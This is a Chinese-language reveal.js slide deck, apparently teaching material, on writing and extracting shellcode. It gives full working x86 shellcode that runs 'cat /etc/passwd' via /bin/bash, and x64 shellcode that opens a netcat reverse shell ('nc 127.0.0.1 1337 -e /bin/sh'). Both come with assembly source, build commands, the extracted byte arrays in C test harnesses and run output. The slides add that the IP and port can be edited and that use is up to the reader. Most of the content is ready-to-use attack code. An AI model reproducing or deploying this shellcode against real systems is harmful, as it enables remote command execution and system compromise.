<!doctype html>
<html lang="en">

<head>
	<meta charset="utf-8">

	<title>Markdown slide</title>

	<meta name="description" content="A framework for easily creating beautiful presentations using HTML">
	<meta name="author" content="Hakim El Hattab">

	<meta name="apple-mobile-web-app-capable" content="yes">
	<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">

	<meta name="viewport" content="width=device-width, initial-scale=1.0">

	<link rel="stylesheet" href="libs/reveal.js/4.1.3/reset.css">
	<link rel="stylesheet" href="libs/reveal.js/4.1.3/reveal.css">

	
	
	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css">

	  <!-- highlight Theme -->
  	
	  <link rel="stylesheet" href="libs/highlight.js/11.3.1/styles/monokai.min.css">
	
	
		
	<link rel="stylesheet" href="libs/reveal.js/4.1.3/plugin/chalkboard/style.css">
	
	
	
		<link rel="stylesheet" href="libs/reveal.js/4.1.3/plugin/customcontrols/style.css">
	
	<link rel="stylesheet" href="libs/styles/tasklist.css">



  <!-- Revealjs Theme -->
  
  	<link rel="stylesheet" href="libs/reveal.js/4.1.3/theme/beige.css" id="theme">
  
  


  <!-- Revealjs Theme -->
  

 
</head>

<body>
  


  <div class="reveal">

    <!-- Any section element inside of this container is displayed as a slide -->
    <div class="slides">

      


    
        <section >
            
            <style type="text/css">
    p { text-align: left; }
    h2 { text-align: left; }
</style>
<h1>MAL_Shellcode基础</h1>
<pre><code>摘要：本文选择了32位和64位两个Shellcode,演示了如下流程
- 1.汇编代码生成可执行文件;
- 2.再从可执行文件中提取机器指令数组;
- 3.最后再在c中通过直接调用，验证提取的机器指令数组是否可正确运行。
最后更新：20200308 wildlinux
</code></pre>

            </section>
    



    
    <section>
        <section >
            <h2>1 一个简单的Shellcode</h2>
<p>shellcode就是一段机器指令（code）</p>
<ul>
<li>通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe）</li>
<li>所以这段机器指令被称为shellcode。</li>
<li>在实际的应用中，凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。</li>
</ul>

            </section>
        
            <section >
                <p>最基本的shellcode的编写可参考<a href="http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/">Shellcode入门</a>。</p>
<p>想要更多的Shellcode？请点击以下链接：<a href="https://www.exploit-db.com/shellcode/">exploit-db shellcode汇总</a>！<a href="https://www.exploit-db.com/papers/36030/">exploit-db 相关工具源代码</a>！</p>
<p>下面我就选择exploit-db中的两个shellcode进行下实践</p>

            </section>
        

    </section>
    



    
    <section>
        <section >
            <h2>2 x86 /bin/bash -c Arbitrary Command Execution Shellcode</h2>

            </section>
        
            <section >
                <h3>2.1 shellcode源码</h3>
<p><a href="https://www.exploit-db.com/exploits/40924/">原文地址</a></p>
<p>简单说明：这是一个32位平台运行的shellcode,大小为72字节，功能相当于调用<code>/bin/bash -c &quot;command&quot;</code>来运行command。</p>
<p>–</p>
<h3>2.2 汇编与链接</h3>
<p>用任意文本编辑器创建ExecCmd.nasm，其运行结果是执行<code>cat /etc/passwd</code>，内容如下：</p>
<pre><code class="language-bash">
root@KaliYL:~# more ExecCmd.nasm
global _start           
 
section .text
_start:
 
xor eax,eax         ;zeroing registers
xor edx,edx
mov al,0xb          ;int execve(const char *filename, char *const argv[], 
                        ;        char *const envp[]);
 
push   edx          ;null
push   word 0x632d  ;-c
mov edi,esp         ;save in edi the -c value
 
push edx            ;null
push 0x68736162     ;////bin/bash
push 0x2f6e6962
push 0x2f2f2f2f
 
mov ebx,esp         ;set first arg in ebx=*filename 
push   edx          ;null
 
jmp short push_cmd  ;jump to collect the command
 
set_argv:
 push edi           ;push -c value
 push ebx           ;push ////bin/bash
 mov ecx,esp        ;*argv = ////bin/bash, -c, cmd, null
 int    0x80
 
push_cmd:
 call set_argv
 cmd: db &quot;cat /etc/passwd;echo do__ne&quot;  ;这里就是运行的指令，可以修改
root@KaliYL:~# 

</code></pre>

            </section>
        
            <section >
                <p>汇编、链接，生成可执行文件。</p>
<p>本实验是在<code>KaliYL 4.3.0-kali1-amd64</code>下做的，默认都会生成64位的目标文件，所以需要加参数<code>elf32</code>和<code>elf_i386</code>，将目标设定为32位目标文件。</p>
<pre><code class="language-bash">汇编
root@KaliYL:~# nasm -felf32 ExecCmd.nasm -o ExecCmd.o

链接
root@KaliYL:~# ld -melf_i386  ExecCmd.o -o ExecCmd.bin

查看生成文件的类型
root@KaliYL:~# file ExecCmd.bin
ExecCmd.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

加上可执行权限
root@KaliYL:~# chmod +x ExecCmd.bin

测试，运行正确，显示/etc/passwd的内容
root@KaliYL:~# ./ExecCmd.bin
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

</code></pre>

            </section>
        
            <section >
                <h3>2.3 提取shellcode</h3>
<p>反汇编，把其中的机器指令抄出来就是了。可以用16进制编辑器打开(如wxHexEditor)，直接找到机器指令这片儿，复制出来就是了。</p>
<pre><code>
&gt; wxHexEditor的安装与使用如下
root@KaliYL:~# apt-get install wxhexeditor
root@KaliYL:~# wxHexEditor filename

</code></pre>
<pre><code>root@KaliYL:~# objdump -d ExecCmd.bin

ExecCmd.bin:     file format elf32-i386


Disassembly of section .text:

08048060 &lt;_start&gt;:
 8048060:	31 c0                	xor    %eax,%eax
 8048062:	31 d2                	xor    %edx,%edx
 8048064:	b0 0b                	mov    $0xb,%al
 8048066:	52                   	push   %edx
 8048067:	66 68 2d 63          	pushw  $0x632d
 804806b:	89 e7                	mov    %esp,%edi
 804806d:	52                   	push   %edx
 804806e:	68 62 61 73 68       	push   $0x68736162
 8048073:	68 62 69 6e 2f       	push   $0x2f6e6962
 8048078:	68 2f 2f 2f 2f       	push   $0x2f2f2f2f
 804807d:	89 e3                	mov    %esp,%ebx
 804807f:	52                   	push   %edx
 8048080:	eb 06                	jmp    8048088 &lt;push_cmd&gt;

08048082 &lt;set_argv&gt;:
 8048082:	57                   	push   %edi
 8048083:	53                   	push   %ebx
 8048084:	89 e1                	mov    %esp,%ecx
 8048086:	cd 80                	int    $0x80

08048088 &lt;push_cmd&gt;:
 8048088:	e8 f5 ff ff ff       	call   8048082 &lt;set_argv&gt;

0804808d &lt;cmd&gt;:
 804808d:	63 61 74             	arpl   %sp,0x74(%ecx)
 8048090:	20 2f                	and    %ch,(%edi)
 8048092:	65 74 63             	gs je  80480f8 &lt;cmd+0x6b&gt;
 8048095:	2f                   	das    
 8048096:	70 61                	jo     80480f9 &lt;cmd+0x6c&gt;
 8048098:	73 73                	jae    804810d &lt;cmd+0x80&gt;
 804809a:	77 64                	ja     8048100 &lt;cmd+0x73&gt;
 804809c:	3b 65 63             	cmp    0x63(%ebp),%esp
 804809f:	68 6f 20 64 6f       	push   $0x6f64206f
 80480a4:	5f                   	pop    %edi
 80480a5:	5f                   	pop    %edi
 80480a6:	6e                   	outsb  %ds:(%esi),(%dx)
 80480a7:	65                   	gs
root@KaliYL:~# 

</code></pre>

            </section>
        
            <section >
                <p>提取出来，写成数组，测试一下。写一个ExecCmd.c内容如下：</p>
<pre><code class="language-bash">root@KaliYL:~# more ExecCmd.c

#include&lt;stdio.h&gt;
#include&lt;string.h&gt;
 
unsigned char code[] = \
&quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89&quot;
&quot;\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b&quot;
&quot;\x65\x63\x68\x6f\x20\x64\x6f\x5f\x5f\x6e\x65&quot;;
main()
{
 
        printf(&quot;Shellcode Length:  %d\n&quot;, strlen(code));
 
        int (*ret)() = (int(*)())code;
 
        ret();
 
}
编译注意 -m32表示编译为32位程序，-z execstack 表示堆栈可执行,缺一不可。
root@KaliYL:~# gcc -m32 -z execstack -o ExecCmd.c.bin ExecCmd.c</code></pre>

            </section>
        
            <section >
                <p>试运行效果如下：
root@KaliYL:~# ./ExecCmd.c.bin
Shellcode Length:  72
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</p>
<pre><code></code></pre>

            </section>
        
            <section >
                <h3>2.4 应用</h3>
<p>所谓应用，就是把这段shellcode注入到一个程序并正确运行。</p>
<p>shellcode的注入，请参考<a href="http://git.oschina.net/wildlinux/NetSec/blob/master/ExpGuides/MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md">逆向与bof基础</a>。方法类似，将其中的Shellcode替换为本例即可。</p>

            </section>
        

    </section>
    



    
    <section>
        <section >
            <h2>3 x64 NetCatRev shellcode</h2>
<p>在本部分，我们将借鉴网上的资源，生成一个反弹式连接shell的shellcode。</p>
<p>其功能相当于：调用execve系统调用运行以下指令:<code>nc 127.0.0.1 1334 -e /bin/sh</code>。</p>
<p>execve API定义如下：</p>
<pre><code>int execve(const char *filename, char *const argv[], char *const envp[]);

execve(&quot;/bin/nc&quot;, [&quot;/bin/nc&quot;, &quot;127.0.0.1&quot;, &quot;1334&quot;,&quot;-e&quot;, &quot;/bin/sh&quot;], null)

</code></pre>

            </section>
        
            <section >
                <h3>3.1 编写 .nasm文件</h3>
<p>本例是全用x64指令结构，所以在汇编中可以看到大量的<code>%r?x</code>这样的引用，去使用x64架构下的寄存器。</p>
<pre><code>root@KaliYL:~# more NetCatRevShell1434.nasm
global _start 

section .text

_start:
	xor edx,edx
	push '1337'
	push rsp
	pop rcx

	push rdx
	mov rax,'/bin//sh'
	push rax
	push rsp
	pop rbx
	
	push rdx
	mov rax,'/bin//nc'
	push rax
	push rsp
	pop rdi
	
	push '1'
	mov rax,'127.0.0.'
	push rax
	push rsp
	pop rsi

	push rdx
	push word '-e'
	push rsp
	pop rax
	
	push rdx ; push null
	push rbx ; '/bin//sh'
	push rax ; '-e'
	push rcx ; '1337' 
	push rsi ; '127.0.0.1'
	push rdi ; '/bin//nc'
	push rsp
	pop rsi  ; address of array of pointers to strings
	
	push 59  ; execve system call
	pop rax
	syscall

root@KaliYL:~# 

</code></pre>
<p><code>pushq  $0x37333331</code>对应端口1337；<code>pushq  $0x31 ，movabs $0x2e302e302e373231,%rax</code>对应IP 127.0.0.1，可按需要修改。</p>

            </section>
        
            <section >
                <h3>3.2 汇编</h3>
<p>nasm -felf64  NetCatRevShell1434.nasm -o NetCatRevShell1434.o</p>

            </section>
        
            <section >
                <h3>3.3 链接</h3>
<p>ld  NetCatRevShell1434.o -o NetCatRevShell1434</p>

            </section>
        
            <section >
                <h3>3.4 测试</h3>
<p>在终端1打开侦听<code>root@KaliYL:~# nc -l -p 1337 127.0.0.1</code>，在终端2运行该程序<code>./NetCatRevShell1434</code>，在终端1输入任何Shell指令如<code>ls</code>。</p>
<p><a href="https://www.exploit-db.com/exploits/13281/">shellcode生成器</a></p>

            </section>
        
            <section >
                <h3>3.5 提取shellcode</h3>
<p>所机器指令摘录出来就是shellcode.</p>
<pre><code class="language-bash">
root@KaliYL:~# objdump -d NetCatRevShell1434

NetCatRevShell1434:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 &lt;_start&gt;:
  400080:	31 d2                	xor    %edx,%edx
  400082:	68 31 33 33 37       	pushq  $0x37333331
  400087:	54                   	push   %rsp
  400088:	59                   	pop    %rcx
  400089:	52                   	push   %rdx
  40008a:	48 b8 2f 62 69 6e 2f 	movabs $0x68732f2f6e69622f,%rax
  400091:	2f 73 68 
  400094:	50                   	push   %rax
  400095:	54                   	push   %rsp
  400096:	5b                   	pop    %rbx
  400097:	52                   	push   %rdx
  400098:	48 b8 2f 62 69 6e 2f 	movabs $0x636e2f2f6e69622f,%rax
  40009f:	2f 6e 63 
  4000a2:	50                   	push   %rax
  4000a3:	54                   	push   %rsp
  4000a4:	5f                   	pop    %rdi
  4000a5:	6a 31                	pushq  $0x31
  4000a7:	48 b8 31 32 37 2e 30 	movabs $0x2e302e302e373231,%rax
  4000ae:	2e 30 2e 
  4000b1:	50                   	push   %rax
  4000b2:	54                   	push   %rsp
  4000b3:	5e                   	pop    %rsi
  4000b4:	52                   	push   %rdx
  4000b5:	66 68 2d 65          	pushw  $0x652d
  4000b9:	54                   	push   %rsp
  4000ba:	58                   	pop    %rax
  4000bb:	52                   	push   %rdx
  4000bc:	53                   	push   %rbx
  4000bd:	50                   	push   %rax
  4000be:	51                   	push   %rcx
  4000bf:	56                   	push   %rsi
  4000c0:	57                   	push   %rdi
  4000c1:	54                   	push   %rsp
  4000c2:	5e                   	pop    %rsi
  4000c3:	6a 3b                	pushq  $0x3b
  4000c5:	58                   	pop    %rax
  4000c6:	0f 05                	syscall 

</code></pre>

            </section>
        
            <section >
                <p>或者用xxd指令，找到代码段，复制出来。</p>
<pre><code class="language-bash">
root@KaliYL:~# xxd NetCatRevShell1434
...略过无用的行

00000080: 31d2 6831 3333 3754 5952 48b8 2f62 696e  1.h1337TYRH./bin
00000090: 2f2f 7368 5054 5b52 48b8 2f62 696e 2f2f  //shPT[RH./bin//
000000a0: 6e63 5054 5f6a 3148 b831 3237 2e30 2e30  ncPT_j1H.127.0.0
000000b0: 2e50 545e 5266 682d 6554 5852 5350 5156  .PT^Rfh-eTXRSPQV
000000c0: 5754 5e6a 3b58 0f05 0000 0000 0000 0000  WT^j;X..........

</code></pre>

            </section>
        
            <section >
                <p>提取的结果就是NetCatRevShell[].</p>
<pre><code>
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
char NetCatRevShell[]=&quot;\x31\xd2\x68\x31\x33\x33\x37\x54\x59\x52\x48\xb8\x2f\x62\x69\x6e&quot;
		    &quot;\x2f\x2f\x73\x68\x50\x54\x5b\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f&quot;
 		    &quot;\x6e\x63\x50\x54\x5f\x6a\x31\x48\xb8\x31\x32\x37\x2e\x30\x2e\x30&quot;
 		    &quot;\x2e\x50\x54\x5e\x52\x66\x68\x2d\x65\x54\x58\x52\x53\x50\x51\x56&quot;
 		    &quot;\x57\x54\x5e\x6a\x3b\x58\x0f\x05&quot;;
int main()
{
    void (*fp)(void);   
    fp=(void*)NetCatRevShell;
    fp();

    return 0;
}
root@KaliYL:~# gcc -z execstack -o NetCatRev.bin shellcode2.c

以上为终端1</code></pre>

            </section>
        
            <section >
                <pre><code>然后再开一个终端，终端2，作为主控机

</code></pre>
<p>root@KaliYL:~# nc -l 127.0.0.1 -p 1337</p>
<pre><code>然后在终端1中运行NetCatRev.bin，该应用会回连其设置好的IP与端口，并提供一个shell操作界面。

</code></pre>
<p>root@KaliYL:~# ./NetCatRev.bin</p>
<pre><code></code></pre>

            </section>
        
            <section >
                <p>然后在终端2里就可以输入任意指令了。</p>
<p>shellcode就是这样子了，怎么使用取决于你了。可以用来注入，可以用来生成可执行文件，可以用来copy/paste到任意可执行文件的代码段。IP、端口啥的，找到对应的数字都可以改哦。</p>
<p>该shellcode需要注入到ELF64格式的可执行文件。</p>

            </section>
        
            <section >
                <p>如下指令可以查看可执行文件是<code>ELF 32-bit</code>还是<code>ELF 64-bit</code>。</p>
<pre><code class="language-bash">root@KaliYL:~# file pwn1
pwn1: ELF 32-bit LSB executable, Intel 80386

root@KaliYL:~# file NetCatRev.bin 
NetCatRev.bin: ELF 64-bit LSB executable, x86-64

</code></pre>

            </section>
        
            <section >
                <h3>3.6 应用</h3>
<p>暂时还未测试注入x86_64应用。</p>

            </section>
        

    </section>
    


    </div>


  </div>

  	
	<script src="libs/reveal.js/4.1.3/reveal.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/zoom/zoom.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/notes/notes.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/search/search.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/markdown/markdown.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/highlight/highlight.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/menu/menu.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/math/math.js"></script>

	<script src="libs/reveal.js/4.1.3/plugin/fullscreen/plugin.js"></script>
  
  	<script src="libs/reveal.js/4.1.3/plugin/animate/plugin.js"></script>
  	<script src="libs/reveal.js/4.1.3/plugin/animate/svg.min.js"></script>
  
  	<script src="libs/reveal.js/4.1.3/plugin/anything/plugin.js"></script>
	  <script src="libs/reveal.js/4.1.3/plugin/anything/Chart.min.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3/d3.v3.min.js"></script>				
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3.patch.js"></script>			
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3/queue.v1.min.js"></script>		
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3/topojson.v1.min.js"></script>		
	<script src="libs/reveal.js/4.1.3/plugin/anything/function-plot.js"></script>

 <!--	<script src="libs/reveal.js/4.1.3/plugin/audio-slideshow/plugin.js"></script>  -->
<!--	<script src="libs/reveal.js/4.1.3/plugin/audio-slideshow/recorder.js"></script>-->
<!--	<script src="libs/reveal.js/4.1.3/plugin/audio-slideshow/RecordRTC.js"></script>-->

<script src="libs/reveal.js/4.1.3/plugin/chalkboard/plugin.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/customcontrols/plugin.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/embed-tweet/plugin.js"></script>

	<script src="libs/reveal.js/4.1.3/plugin/chart/chart.min.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/chart/plugin.js"></script>

  <script>

		const printPlugins = [
			RevealNotes, 
			RevealHighlight,
			RevealMath,
			RevealAnimate,
			RevealChalkboard, 
			RevealEmbedTweet,
			RevealChart,
		];

		const plugins =  [...printPlugins,
		RevealZoom, 
		RevealSearch, 
				RevealMarkdown, 
				RevealMenu, 
				RevealFullscreen,
				RevealAnything,
				//RevealAudioSlideshow,
				//RevealAudioRecorder,
				RevealCustomControls, 
				// poll
				// question
				// seminar
				 ]


		// Also available as an ES module, see:
		// https://revealjs.com/initialization/
		Reveal.initialize({
			controls: true,
			controlsTutorial: true,
			controlsLayout: 'bottom-right',
			controlsBackArrows: 'faded',
			progress: true,
			slideNumber: false,
			//#showSlideNumber "all" "print" "speaker"
			hash: true,//#  hash: false,
			//# respondToHashChanges: true,
			//# history: false,
			keyboard: true,
			//#keyboardCondition: null,
			overview: true,
			center: true,
			touch: true,
			loop: false,
			rtl: false,
			//#navigationMode: 'default', linear grid
			shuffle: false,
			fragments: true,
			fragmentInURL: false,
			embedded: false,
			help: true,
			//#pause: true
			showNotes: false,
			autoPlayMedia: false, // TODO fix this to a nullable value
			//#preloadIframes: null. true false
			//#autoAnimate: true
			//#autoAnimateMatcher: null,
			//#autoAnimateEasing: 'ease',
			//autoAnimateDuration: 1.0,
			//#autoAnimateUnmatched: true
			//#autoAnimateStyles: []
			autoSlide: 0, // TODO fix this to a falseable value
			autoSlideStoppable: true,
			autoSlideMethod: '0',
			defaultTiming: 120,
			mouseWheel: false,
			//#previewLinks: false
			//#postMessage: true,  // TODO : this can cause issues with the vscode api ???
			//#postMessageEvents: false,
			//#focusBodyOnPageVisibilityChange: true,
			transition: 'slide',
			transitionSpeed: 'default',
			backgroundTransition: 'fade',
			//#pdfMaxPagesPerSlide: Number.POSITIVE_INFINITY,
			//#pdfSeparateFragments: true,
			//#pdfPageHeightOffset: -1,
			viewDistance: 3,
			//#mobileViewDistance: 2,
			display: 'block',
			//#hideInactiveCursor: true,
			//#hideCursorTime: 5000

			// Parallax Background
			parallaxBackgroundImage: '',
			parallaxBackgroundSize: '',
			parallaxBackgroundHorizontal: 0,
			parallaxBackgroundVertical: 0,
			
			//Presentation Size
			width: 960,
			height: 700,
			margin: 0.04,
			minScale: 0.2,
			maxScale: 2,
			disableLayout: false,

			audio: {
				prefix: 'audio/', 	// audio files are stored in the "audio" folder
				suffix: '.ogg',		// audio files have the ".ogg" ending
				textToSpeechURL: null,  // the URL to the text to speech converter
				defaultNotes: false, 	// use slide notes as default for the text to speech converter
				defaultText: false, 	// use slide text as default for the text to speech converter
				advance: 0, 		// advance to next slide after given time in milliseconds after audio has played, use negative value to not advance
				autoplay: false,	// automatically start slideshow
				defaultDuration: 5,	// default duration in seconds if no audio is available
				defaultAudios: true,	// try to play audios with names such as audio/1.2.ogg
				playerOpacity: 0.05,	// opacity value of audio player if unfocused
				playerStyle: 'position: fixed; bottom: 4px; left: 25%; width: 50%; height:75px; z-index: 33;', // style used for container of audio controls
				startAtFragment: false, // when moving to a slide, start at the current fragment or at the start of the slide
			},
			
			chalkboard: { // font-awesome.min.css must be available
					//src: "chalkboard/chalkboard.json",
					storage: "chalkboard-demo",
				},
			
			customcontrols: {
					controls: [
      						{
						  id: 'toggle-overview',
						  title: 'Toggle overview (O)',
						  icon: '<i class="fa fa-th"></i>',
						  action: 'Reveal.toggleOverview();'
						}
						,
						{ icon: '<i class="fa fa-pen-square"></i>',
						  title: 'Toggle chalkboard (B)',
						  action: 'RevealChalkboard.toggleChalkboard();'
						},
						{ icon: '<i class="fa fa-pen"></i>',
						  title: 'Toggle notes canvas (C)',
						  action: 'RevealChalkboard.toggleNotesCanvas();'
						}
				]
			},
			chart: {
					defaults: { 
						color: 'lightgray', // color of labels
						scale: { 
							beginAtZero: true, 
							ticks: { stepSize: 1 },
							grid: { color: "lightgray" } , // color of grid lines
						},
					},
					line: { borderColor: [ "rgba(20,220,220,.8)" , "rgba(220,120,120,.8)", "rgba(20,120,220,.8)" ], "borderDash": [ [5,10], [0,0] ] }, 
					bar: { backgroundColor: [ "rgba(20,220,220,.8)" , "rgba(220,120,120,.8)", "rgba(20,120,220,.8)" ]}, 
					pie: { backgroundColor: [ ["rgba(0,0,0,.8)" , "rgba(220,20,20,.8)", "rgba(20,220,20,.8)", "rgba(220,220,20,.8)", "rgba(20,20,220,.8)"] ]},
					radar: { borderColor: [ "rgba(20,220,220,.8)" , "rgba(220,120,120,.8)", "rgba(20,120,220,.8)" ]}, 
			},
			math: {
				mathjax: 'https://cdn.jsdelivr.net/gh/mathjax/mathjax@2.7.8/MathJax.js',
				config: 'TeX-AMS_HTML-full',
				// pass other options into `MathJax.Hub.Config()`
				TeX: { Macros: { RR: "{\\bf R}" } }
				},
				anything: [ 
				{
		className: "plot",
		defaults: {width:500, height: 500, grid:true},
		initialize: (function(container, options){ options.target = "#"+container.id; functionPlot(options) })
	 },
	 {
		className: "chart",  
		initialize: (function(container, options){ container.chart = new Chart(container.getContext("2d"), options);  })
	 },
	 {
		className: "anything",
		initialize: (function(container, options){ if (options && options.initialize) { options.initialize(container)} })
	 },
					],
			// Learn about plugins: https://revealjs.com/plugins/
			plugins: (window.location.search.match(/print-pdf/gi) ? printPlugins : plugins ) 
		});
			


	    // Change chalkboard theme : 
		function changeTheme(input) {
			var config = {};
			config.theme = input.value;
			Reveal.getPlugin("RevealChalkboard").configure(config);
			input.blur();
		}

		// // Handle the message inside the webview
        // window.addEventListener('message', event => {

        //     const message = event.data; // The JSON data our extension sent

        //     switch (message.command) {
        //         case 'refactor':
        //             Reveal.toggleHelp();
        //     }
        // });

		if (window.location.search.match(/print-pdf-now/gi)) {
      		setTimeout(() => {
				window.print();
			  }, 2500);
			
    }
		

	</script>

</body>

</html>